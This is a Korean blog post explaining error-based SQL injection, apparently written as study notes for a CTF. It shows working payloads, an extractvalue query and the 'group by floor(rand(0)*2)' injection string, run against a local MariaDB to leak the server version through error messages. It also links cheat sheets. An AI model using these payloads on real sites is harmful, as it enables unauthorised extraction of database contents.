WEB] Error Base SQL Injection

노션으로 옮김·2020년 3월 30일
1

skills

목록 보기
18/37
post-thumbnail

Error Base SQL Injection

정의

다양한 응용법이 존재하지만 기본이 되는 특징은 다음과 같다.

  1. 의도적으로 에러를 유발시킨다.
  2. 내가 원하는 에러메시지가 출력되도록 유도하거나, 혹은 에러메시지에 내가 원하는 정보를 직접 덧붙여 확인하기도 한다.

이해

확실한 이해를 위해 다음의 예시를 살펴보자.

MariaDB [myDb]> select * from myTable limit 1 procedure analyse(extractvalue(1,concat(0x3a, version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':10.3.22-MariaDB-1'
MariaDB [myDb]> 

출력된 값을 보면 에러가 발생하였고
에러메시지 뒤에 내가 덧붙인 정보인 version() 내용이 출력되었다.

이런 식으로 내가 원하는 정보를 획득할 수 있다.

핵심

Error Base SQL Injection은 상황에 따라 사용될 수 있는 형식이 매우 다양하다는 것이다.

앞서 살펴본 예시는 공격자가 임의의 정보를 추가시킬 수 있었다.

문제에 적용

이해한 내용을 기반으로 문제풀이를 이해하자.
https://velog.io/@woounnan/Rootme.org-SQL-Injection-Error


Cheat 분석

Error Base Injection은 치트 쿼리를 보면 상당히 다양한 함수의 결합으로 이루어져 있어 이해하기가 쉽지 않다.

쿼리를 하나씩 살펴보며 분석해보자.

group by

먼저 group by를 사용하는 쿼리 형태가 있다.

AND(SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--

실행결과부터 확인해보자

ariaDB [myDb]> select * from myTable where true AND(SELECT 1 FROM(SELECT count(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--;
ERROR 1062 (23000): Duplicate entry '10.3.22-MariaDB-11' for key 'group_key'

Duplicate Entry 에러가 발생하면서 버전을 확인할 수 있다.

원인

count(*)floor(rand(0)*2)이 같이 사용되야 하며, group by [컬럼]에서 컬럼은 가변인자인 floor(rand(0)*2) as xx가 되야 한다.

왜 발생하는건지 개념을 이해하기 위해 글을 찾아봤다.
https://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do

명확한 이유는 없고 버그라는 이야기가 대부분이다.


부록

다양한 공격 예시

https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf
: 색다른 공격기법이 많음


참조

https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
: sql 공격기법 치트 및 간단한 설명

https://www.lanian.co.kr/entry/Error-Based-SQL-Injection
: error base 치트

0개의 댓글